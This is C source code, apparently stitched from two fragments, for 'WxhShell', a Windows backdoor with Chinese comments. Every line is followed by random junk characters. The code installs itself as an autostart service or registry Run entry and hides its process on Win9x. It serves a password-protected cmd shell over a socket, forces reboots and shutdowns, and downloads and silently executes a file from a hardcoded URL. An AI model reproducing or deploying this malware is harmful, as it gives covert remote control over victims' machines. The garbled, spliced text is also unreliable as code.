    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qfT9g>EF  
    if(Boot(SHUTDOWN)) c}OveR$'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$ djX=3  
    else { 6,LE_ -G5  
    closesocket(wsh); XixjdBFP  
    ExitThread(0); BKTTta1mY  
    } xS@jV6E~  
    break; (^B1Kt!<  
    } prS%lg>  
  // 获取shell /Hk})o_  
  case 's': { Pn4.gabE  
    CmdShell(wsh); z@IG"D  
    closesocket(wsh); g5 *E\T%8  
    ExitThread(0); dY$nw  
    break; FYik}wH]  
  } >yn?@ve@  
  // 退出 )2"g)9!  
  case 'x': { ("=q-6$G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FDuA5At  
    CloseIt(wsh); f 1SKOq  
    break; O2Y|<m  
    } oVk!C a  
  // 离开  Yf[Cmn  
  case 'q': { %6lGRq{/?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uHquJQ4  
    closesocket(wsh); YYI0iM>  
    WSACleanup(); >,zU=I?9Y  
    exit(1); $Xo_8SX,  
    break; k2->Z);X  
        } uYs45 G  
  } 4V[(RXc/  
  } 4mW$+lzn  
;FwUUKj  
  // 提示信息 pR0 !bgC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _^{RtP#=  
} 9mtndTT 5u  
  } `>KNa"b%$  
B7C<;`5TiD  
  return; 0K"+u9D^  
} i88 5T '  
&0* l:uw  
// shell模块句柄 ![{/V,V]~  
int CmdShell(SOCKET sock) =1>G * ,  
{ 7C2Xy>d~  
STARTUPINFO si; #('R`~  
ZeroMemory(&si,sizeof(si)); &Pv$nMB$I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^K[xVB(&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]Y?ZUSCJ  
PROCESS_INFORMATION ProcessInfo; -|#/KKF  
char cmdline[]="cmd"; JK{2 hr_a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,eOZv=:  
  return 0; z4J\BB  
} g;R  
(`Y;U(n  
// 自身启动模式 !2B~.!&   
int StartFromService(void) A ][ ;v  
{ r!{i2I|  
typedef struct dc emF  
{ QN#Lbsd  
  DWORD ExitStatus; , =*^XlO=c  
  DWORD PebBaseAddress; 7dB_q}<  
  DWORD AffinityMask; jl;N Fk%  
  DWORD BasePriority; #.]W>hN8\  
  ULONG UniqueProcessId; x=K'Jj  
  ULONG InheritedFromUniqueProcessId; a]V#mF |{  
}   PROCESS_BASIC_INFORMATION; `mZ1!I-T  
[G+@[9hn%  
PROCNTQSIP NtQueryInformationProcess; 0ZL>-  
[4;_8-[Nv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B2BG*xa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kSge4?&  
!eb{#9S*  
  HANDLE             hProcess; \l[AD-CZPh  
  PROCESS_BASIC_INFORMATION pbi; N-}OmcO]e  
 k_^ 4NU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @/01MBs;  
  if(NULL == hInst ) return 0; b<r*EY  
[r]<~$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pR*3Q@Ng  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bd>ATc+580  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m=pH G  
RAEN  &M  
  if (!NtQueryInformationProcess) return 0; &QH mo*  
TgRG6?#^l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ak`?,*L M  
  if(!hProcess) return 0; \8{Tj54NA  
.Xxxz Wyk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "AWk jdj  
K;`*n7=IA  
  CloseHandle(hProcess); 1-4[w *u>  
_{B2z[G}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v+C D{Tc  
if(hProcess==NULL) return 0; NXOvC!<  
e \kR/<L  
HMODULE hMod; ](ztb)  
char procName[255]; 4Im}!q5;:<  
unsigned long cbNeeded; )OlYz!#?  
H?ue!5R#L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (a,`Y.  
0icB2Jm:D}  
  CloseHandle(hProcess); JO87rG  
]/R>nT  
if(strstr(procName,"services")) return 1; // 以服务启动 ]YD qmIW  
"tK3h3/Xv  
  return 0; // 注册表启动 La^Zr,T!  
} N0 t26| A  
(hY^E(D  
// 主模块 Jju?v2y`  
int StartWxhshell(LPSTR lpCmdLine) SN QLEe  
{ l29AC}^  
  SOCKET wsl; ]?jmRk^ .  
BOOL val=TRUE; Gv(n2r  
  int port=0; <(qdxdUp  
  struct sockaddr_in door; (ke<^sv7!  
b]8\% =d  
  if(wscfg.ws_autoins) Install(); I= z+`o8  
=Y3d~~  
port=atoi(lpCmdLine); ,*p(q/kJh~  
!<-+}X+o8$  
if(port<=0) port=wscfg.ws_port; x||b :2  
b DF_  
  WSADATA data; YWq{?'AaR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @zix %x  
fG7-0 7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @[rlwwG,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [9p@uRE  
  door.sin_family = AF_INET; E?m W4?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .e:+Ek+  
  door.sin_port = htons(port); NXE1v~9V  
"yXqf%CGE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8H SGOs =8  
closesocket(wsl); F|WH=s3  
return 1; okW'}@jD  
} Pb :6nH=  
\ItAc2,Fl  
  if(listen(wsl,2) == INVALID_SOCKET) { ~1{~iB2G  
closesocket(wsl);  ~#z b  
return 1; 0`WZ  
} %cMayCaI!@  
  Wxhshell(wsl); J= DD/Gp  
  WSACleanup(); ^A;ec h7I  
AWmJm)   
return 0; qSVg.<+  
`,wX&@sN  
} NQvT4.*  
495(V(+5  
// 以NT服务方式启动 h"N#/zQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VqB9^qJ]!  
{ ZOzyf/?.  
DWORD   status = 0; rmnnV[@o  
  DWORD   specificError = 0xfffffff; 5YiBw|Z7 "  
N<lf,zGw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "\1V^2kMr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >LB x\/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h6Hop mWVx  
  serviceStatus.dwWin32ExitCode     = 0; odq3@ ziO  
  serviceStatus.dwServiceSpecificExitCode = 0; l_=kW!l  
  serviceStatus.dwCheckPoint       = 0; <gr2k8m6$  
  serviceStatus.dwWaitHint       = 0; m9m~2   
z;i4F.p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x\(yjNZH  
  if (hServiceStatusHandle==0) return; n~&e>_;(.  
\cq.M/p  
status = GetLastError(); q/YO5>s15  
  if (status!=NO_ERROR) =0mGfT c  
{ =~QC)y_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hB*3Py27L  
    serviceStatus.dwCheckPoint       = 0; e-o$bf%  
    serviceStatus.dwWaitHint       = 0; !]WC~#|{B  
    serviceStatus.dwWin32ExitCode     = status; 4> [tjz.?k  
    serviceStatus.dwServiceSpecificExitCode = specificError; B.[5N;c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  *FoPs  
    return; QnDLSMx)  
  } fm,:8%  
qS2]|7q?Tc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N_8L8ds5  
  serviceStatus.dwCheckPoint       = 0; qT_E=)1  
  serviceStatus.dwWaitHint       = 0; ?B,B<@='%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s}Sxl0  
} x1*@PiO,.  
Z{.L_ ]$ I  
// 处理NT服务事件,比如:启动、停止 /B9jmvj`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bk-aj'>+  
{ u&Dd9kMz  
switch(fdwControl) iJK rNRj  
{ ,k3aeM~`%w  
case SERVICE_CONTROL_STOP: CU(W0D  
  serviceStatus.dwWin32ExitCode = 0; s((_^yf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?GGh )";y  
  serviceStatus.dwCheckPoint   = 0; @-qC".CI  
  serviceStatus.dwWaitHint     = 0; ()i!Uo  
  { QJ-?6 7_i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! J@pox-t  
  } `<l|XPv  
  return; \\~4$Ai[  
case SERVICE_CONTROL_PAUSE: t]%! vXo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kOuQR$9s  
  break; ^l/$ 13=  
case SERVICE_CONTROL_CONTINUE: a'|Dm7'4t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UwxrYouv~@  
  break; 6Bm2_B  
case SERVICE_CONTROL_INTERROGATE: #3u471bp  
  break; -x1O|q69  
}; C!" .[3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ypqnOTr  
} C(*)7| m  
A,s .<TG  
// 标准应用程序主函数 @$'1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MRHkQE+K@8  
{ ;42D+q=s  
;w}5:3+  
// 获取操作系统版本 KBFAV&  
OsIsNt=GetOsVer(); DWH)<\?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uyyw'Ni  
k||DcwO  
  // 从命令行安装 J#W>%2 "s  
  if(strpbrk(lpCmdLine,"iI")) Install(); &hYjQ&n  
)Z 3fytY  
  // 下载执行文件 Qmh*Gh? v  
if(wscfg.ws_downexe) { 6Gs,-Kb:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cx/duod p  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^5~[G%G4  
} S.OGLLprp  
$T0|zPK5  
if(!OsIsNt) { $rC`)"t  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]g; K_>@  
HideProc(); DD hc^(  
StartWxhshell(lpCmdLine); h@D4~(r  
} 9?W38EF  
else ;nJCd1H  
  if(StartFromService()) )FqE8oN-  
  // 以服务方式启动 -Q8pWtt  
  StartServiceCtrlDispatcher(DispatchTable); _?2xIo  
else thDE 1h  
  // 普通方式启动 uL4@e  
  StartWxhshell(lpCmdLine); rbP3&L  
L3~E*\cV  
return 0; 6A/|XwfE/v  
} 3^us;aOr  
qO9_ e  
<`9:hPp0  
\rf1#Em  
=========================================== t>v']a +k  
EH$wW l^  
h OboM3_  
qwaw\vOA  
4p~:(U[q  
(<.1o_Q-LU  
" 2s6Hr;^w.1  
{_/6,22j(V  
#include <stdio.h> I>-jKSkwc  
#include <string.h> tZXtt=M w  
#include <windows.h> q#Qr@Jf  
#include <winsock2.h> GW{Nc !)  
#include <winsvc.h> TniZ!ud  
#include <urlmon.h> Rb~Kyy$  
=4MiV]  
#pragma comment (lib, "Ws2_32.lib") FM7N|] m  
#pragma comment (lib, "urlmon.lib") "=f*Lk@[  
<ZrZSt+<  
#define MAX_USER   100 // 最大客户端连接数 +V8yv-/{  
#define BUF_SOCK   200 // sock buffer 3P6!j  
#define KEY_BUFF   255 // 输入 buffer "5jZS6A]  
si nG $=  
#define REBOOT     0   // 重启 l>&)_:\  
#define SHUTDOWN   1   // 关机 a4: PufS  
*G~c6B Z  
#define DEF_PORT   5000 // 监听端口 d*>M<6b-  
z4J-qK~2  
#define REG_LEN     16   // 注册表键长度 a3lo;Cfp  
#define SVC_LEN     80   // NT服务名长度 :({lXGc}4?  
p-; ]O~^  
// 从dll定义API % e1vq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x{ZVq 4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uX0wg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cdIy[ 1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xSOL4  
{@ , L  
// wxhshell配置信息 @,aL'2G  
struct WSCFG { $~~=SOd0  
  int ws_port;         // 监听端口 3.d=1|E  
  char ws_passstr[REG_LEN]; // 口令 d=4MqX r  
  int ws_autoins;       // 安装标记, 1=yes 0=no d$2{_6  
  char ws_regname[REG_LEN]; // 注册表键名 cW GU?cv}  
  char ws_svcname[REG_LEN]; // 服务名 3iEcLhe"4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BS|-E6E<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dadMwe_l0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $uLzC]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VBCj.dw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (I~,&aBr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m#;:%.Rm  
MA-$aN_(  
}; ga~vQ7I_  
&gEu%s^wR  
// default Wxhshell configuration Vd1K{rH#  
struct WSCFG wscfg={DEF_PORT, y?unI~4tC  
    "xuhuanlingzhe", 7T2W% JT-,  
    1, =k/n  
    "Wxhshell", M K[spV  
    "Wxhshell", %mYIXsuH  
            "WxhShell Service", y=j[v},4  
    "Wrsky Windows CmdShell Service", bL[PNUG  
    "Please Input Your Password: ", Iw<c 9w8  
  1, <m6I)}K  
  "http://www.wrsky.com/wxhshell.exe", RY~)MS _C  
  "Wxhshell.exe" Dps{[3Y+  
    }; `Ys })Pl  
~fUSmc  
// 消息定义模块 R$3JbR.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p.}[!!m P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p4AXQuOP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |(H|2]b4 =  
char *msg_ws_ext="\n\rExit."; S2s-TpjB<  
char *msg_ws_end="\n\rQuit."; &S-& 'ZAY  
char *msg_ws_boot="\n\rReboot..."; 0,A?*CO  
char *msg_ws_poff="\n\rShutdown..."; O#U"c5%  
char *msg_ws_down="\n\rSave to "; ) k2NF="o  
JZnWzqFw  
char *msg_ws_err="\n\rErr!"; 0Its;|  
char *msg_ws_ok="\n\rOK!"; +8Px` v1L  
q7PRJX  
char ExeFile[MAX_PATH]; Z{CL!  
int nUser = 0; jI V? p  
HANDLE handles[MAX_USER]; GSFT(XX  
int OsIsNt; y;>I'e  
 !fV6KkV  
SERVICE_STATUS       serviceStatus; ^ /BE=$E\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j bGH3 L  
RQ'c~D)X  
// 函数声明 dB,#`tc=,  
int Install(void); w:LCm `d  
int Uninstall(void); 4>Y\2O?**  
int DownloadFile(char *sURL, SOCKET wsh); ).boe& .  
int Boot(int flag); >>8w(PdTn%  
void HideProc(void); : [9'nR  
int GetOsVer(void); ["IJ h  
int Wxhshell(SOCKET wsl); '_<`dzz  
void TalkWithClient(void *cs); 3"hR:'ts  
int CmdShell(SOCKET sock); .#eXNyCe  
int StartFromService(void); hpyre B  
int StartWxhshell(LPSTR lpCmdLine); S p )}  
"$'~=' [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6K y;1$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BT1'@qF  
^0 lPv!2  
// 数据结构和表定义 4|L@oTzx  
SERVICE_TABLE_ENTRY DispatchTable[] = dtBV0$  
{ (KMobIP^  
{wscfg.ws_svcname, NTServiceMain}, I7_D $a=  
{NULL, NULL} Iz8 ^? >X  
}; -Mvw'#(0  
Z4-dF;7  
// 自我安装 ;$E[u)l  
int Install(void) M(E_5@?3  
{ 7x]nY.\  
  char svExeFile[MAX_PATH]; )l}wjKfgO  
  HKEY key; -8jqC6mQ  
  strcpy(svExeFile,ExeFile); z{jAt6@7  
T!A}ipqb  
// 如果是win9x系统,修改注册表设为自启动 F?ebY k1  
if(!OsIsNt) { 9GwsQ \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >[: 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j*`!o/=LI  
  RegCloseKey(key); =eoxT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N6[^62  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .rm7Sd4K  
  RegCloseKey(key); Umt ia~x=&  
  return 0; kAliCD)  
    } ')-(N um  
  } EM/+1 _u  
} z{0;%E  
else { &RrQ()<as  
^z;,deoGh  
// 如果是NT以上系统,安装为系统服务 hUxhYOp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JJ0 CM:xe  
if (schSCManager!=0) Nt-SCLDM  
{ B/hHkOoo  
  SC_HANDLE schService = CreateService 8m6nw0   
  ( kte.E%.PE  
  schSCManager, gtGKV  
  wscfg.ws_svcname, AJd.K'=8  
  wscfg.ws_svcdisp, E}vO*ZZEw  
  SERVICE_ALL_ACCESS, }C"*ACjF   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gA1in  
  SERVICE_AUTO_START, p-r%MnT  
  SERVICE_ERROR_NORMAL, 5@ +Ei25  
  svExeFile, Z*>/@J}  
  NULL, f$|v0Xs  
  NULL, $2CGRhC  
  NULL, 0_mvz%[J  
  NULL, xt,L* B  
  NULL ~*c=  
  ); %*q0+_  
  if (schService!=0) qg{<&V7fE  
  { DjzBG*f/  
  CloseServiceHandle(schService); \g1@A"  
  CloseServiceHandle(schSCManager); -b0'Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "HfU,$[  
  strcat(svExeFile,wscfg.ws_svcname); L{A-0Ffh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7XWBI\SW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hYXZ21(K#  
  RegCloseKey(key); a`~eC)T  
  return 0; m{.M,Lm:  
    } )B$P#dP)i  
  } #]DZrD&q  
  CloseServiceHandle(schSCManager); xqC<p`?4  
} ?b7g9 G4  
} "5JNXo,H  
[H%?jTQ  
return 1; LsQ8sFP_"  
} tm1UH 4  
6Hbf9,vI  
// 自我卸载 `h9)`*  
int Uninstall(void) Gb|}Su  
{ _<*GU@  
  HKEY key; 2 C]la  
%SO%{.}Z f  
if(!OsIsNt) { SKpPR;=q|:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $dp#nyP  
  RegDeleteValue(key,wscfg.ws_regname); Wejwj/EU%  
  RegCloseKey(key); ERRT_G?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U%t/wq  
  RegDeleteValue(key,wscfg.ws_regname); 8{<[fZyC  
  RegCloseKey(key); [&qbc#L  
  return 0; %;\G@q_p{  
  } :6j :9lYL2  
} *Z]WaDw  
} /3[ 9{r  
else { 42>m,fb2[  
iqednk%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^_KD&%M6  
if (schSCManager!=0) bxdXZB n  
{ iE^a%|?}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V}|v!h[O8  
  if (schService!=0) zYG,x*IH  
  { "8muMa8Q%  
  if(DeleteService(schService)!=0) { IiK(^:~%  
  CloseServiceHandle(schService); 90qj6.SQ  
  CloseServiceHandle(schSCManager); yLz,V}  
  return 0; )Bn>/-  
  } z34>,0  
  CloseServiceHandle(schService); ^~6]0$yJ  
  } pP0Vg'V  
  CloseServiceHandle(schSCManager); !b]2q%XM  
} M=AvD(+ha  
} U7"BlT!V\  
H : T N  
return 1; .K@x4 /1  
} q#(/*AoU  
(HaKF7Jsi  
// 从指定url下载文件 |N$?_<H  
int DownloadFile(char *sURL, SOCKET wsh) <P^hYj-swh  
{ mheU#&|  
  HRESULT hr; 1n`1o-&l-  
char seps[]= "/"; .^LL9{?  
char *token; D=~B7b:  
char *file; 1U7,X6=~  
char myURL[MAX_PATH]; (eRKR2% q  
char myFILE[MAX_PATH]; 2b#(X'ob  
wVp4c?s  
strcpy(myURL,sURL); {x|kg;  
  token=strtok(myURL,seps); $,;S\JmWP  
  while(token!=NULL) '>e79f-O)  
  { P*SCHe'  
    file=token; zvGK6qCk  
  token=strtok(NULL,seps); TsX+. i'  
  } <4Q12:  
!b7'>b'J<1  
GetCurrentDirectory(MAX_PATH,myFILE); m(Y.X=EZr  
strcat(myFILE, "\\"); -jVaS w t  
strcat(myFILE, file); Be{/2jU%  
  send(wsh,myFILE,strlen(myFILE),0); Cfr<D3&,]  
send(wsh,"...",3,0); JEsLF{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;wbUk5Tf/  
  if(hr==S_OK) =a9etF%B  
return 0; X7H'Uk9:  
else `8Jq~u6_Z  
return 1; Vm~qk  
/esVuz  
} AbF(MK=i  
om}/f`  
// 系统电源模块 skI(]BDf  
int Boot(int flag) {xv?wenE  
{ CQSpPQA  
  HANDLE hToken; -SvTg{Q{la  
  TOKEN_PRIVILEGES tkp; Q54r?|'V  
^`rpf\GX(  
  if(OsIsNt) { d@4rD}_Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  dd<:#c9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Ti_<<X  
    tkp.PrivilegeCount = 1; I7fb}j`/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;}/U+`=D?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2$ |]Vj*Zs  
if(flag==REBOOT) { 3I"NI.>*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N-2([v  
  return 0; FjZc#\^9  
} E.J 0fwyT  
else { z.3<{-n}0i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9c6czirwR^  
  return 0; skIiJ'db  
} bo@,4xw  
  } ~+N76BX  
  else { s.yq}Q  
if(flag==REBOOT) { (*6 m^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p^1zIC>F  
  return 0; PS=e\(6QC  
} JiFA]M`^Q  
else { S \e& ?Y`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qKdS7SoS  
  return 0; N0Efw$u  
} 2W^B{ZS;  
} HDmx@E.@  
M18qa,fK{  
return 1; +Edzjf~Tt  
} 9u,8q:I.?  
~x|aoozL  
// win9x进程隐藏模块 (j' {~FB  
void HideProc(void) 7qe7F l3  
{ *@_u4T7|{  
keLR1qf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7]Al*)  
  if ( hKernel != NULL ) e74zR6  
  { %K[daXw6E8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :O $@shV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J I<3\=:+  
    FreeLibrary(hKernel); FR:d^mL  
  } 7}be>(  
UJz#QkAio  
return; \q~w<%9Dq  
} -2F@~m|  
hv* >%p  
// 获取操作系统版本 . yZm^&  
int GetOsVer(void) QsiJ%O Q  
{ Q}kfM^i  
  OSVERSIONINFO winfo; P+<BOG|m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^P`NMSw  
  GetVersionEx(&winfo); wV\%R,bZj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iF!mV5#  
  return 1; Sd},_Kh  
  else pDu{e>S|:  
  return 0; *AZ?~ i^o  
} M`GP^Ta  
5Go0}'*%  
// 客户端句柄模块 Q48+O?&  
int Wxhshell(SOCKET wsl) }e<'BIM E  
{ s/ M7Zl  
  SOCKET wsh; kG/X"6pZ  
  struct sockaddr_in client; c=6ahX}d  
  DWORD myID; GCT@o!  
t|}O.u-&;~  
  while(nUser<MAX_USER) aG%kmS&fv  
{ 5m4DS:&  
  int nSize=sizeof(client); pb#mg^8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b"``D ?  
  if(wsh==INVALID_SOCKET) return 1; KP3n^ $~  
x97L6!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W9Nmx3ve  
if(handles[nUser]==0) JqEW= 5  
  closesocket(wsh); u~W{RHClW  
else -G9|n#zCU  
  nUser++; G.g|jP'n  
  } iq?l#}]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y&"!m }  
n~tqO!q  
  return 0; {<2>6 _z  
} hd B |#t  
[*8Y'KX <  
// 关闭 socket 8tLHr@%%  
void CloseIt(SOCKET wsh) XS?gn.o\  
{ ZK6Hvc0  
closesocket(wsh); o0ZIsrr  
nUser--; ?aBj#  
ExitThread(0); mEFw|M{  
} n@!wp/J,  
%KtU1A(["  
// 客户端请求句柄 !}y1CA  
void TalkWithClient(void *cs) \fZiL!E^7  
{ c'Z: 9?#5  
rK1-Mu  
  SOCKET wsh=(SOCKET)cs; Z!6UW:&~7  
  char pwd[SVC_LEN]; DAdYg0efex  
  char cmd[KEY_BUFF]; 4KXc~eF[M"  
char chr[1]; XphE loL  
int i,j; !:WW  
[4*1}}gW%5  
  while (nUser < MAX_USER) { J8?2R^;{  
n9%]-s\Hn  
if(wscfg.ws_passstr) { 5t\HJ`C1Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pMR,#[U<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<.5ub*i4  
  //ZeroMemory(pwd,KEY_BUFF); RRADg^}l|"  
      i=0; TBCp L]QT  
  while(i<SVC_LEN) { w(U:U-MNe  
ESTM$k }X  
  // 设置超时 gZO&r#   
  fd_set FdRead; VO=!8Yx[  
  struct timeval TimeOut; qP3q  
  FD_ZERO(&FdRead); 7(bQ}mHl\  
  FD_SET(wsh,&FdRead); K R,z^9  
  TimeOut.tv_sec=8; O0T/#<Cn!  
  TimeOut.tv_usec=0; ~`qEWvPn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |7"$w%2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u%3i0BajY  
5\bJR0I@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^C/  
  pwd=chr[0]; ]kD"&&HV  
  if(chr[0]==0xd || chr[0]==0xa) { x5h~G  
  pwd=0; $A2n{  
  break; &<3&'*ueW  
  } ve Tx, \6@  
  i++; Y- )x Tn  
    } ${I*nh>=  
+bA%  
  // 如果是非法用户,关闭 socket J0Z7 l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3BdX  
} _c`K+o"3  
<YB9Ac~}z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (YPi&w~S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "l7NWqfB  
;f1qLI  
while(1) { xb:&(6\F  
}^xE|~p  
  ZeroMemory(cmd,KEY_BUFF); X(@uwX$m  
dtZE67KS  
      // 自动支持客户端 telnet标准   4;<ut$G  
  j=0; Dnw|%6Y  
  while(j<KEY_BUFF) { Fh8lmOL;?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8R/dA<Ww  
  cmd[j]=chr[0]; 3BG>Y(v  
  if(chr[0]==0xa || chr[0]==0xd) { E{?au]y$J  
  cmd[j]=0; t$J.+}}I  
  break; $, 3J7l3  
  } u JY)4T  
  j++; =>iA gp'#  
    } W/fuKGZi_  
c9wfsapJ  
  // 下载文件 UAn&\8g_  
  if(strstr(cmd,"http://")) { 6gH{ R$7L=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cl@g  
  if(DownloadFile(cmd,wsh)) k^\pU\J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k&/OU:7Y  
  else =Yz'D|=t  
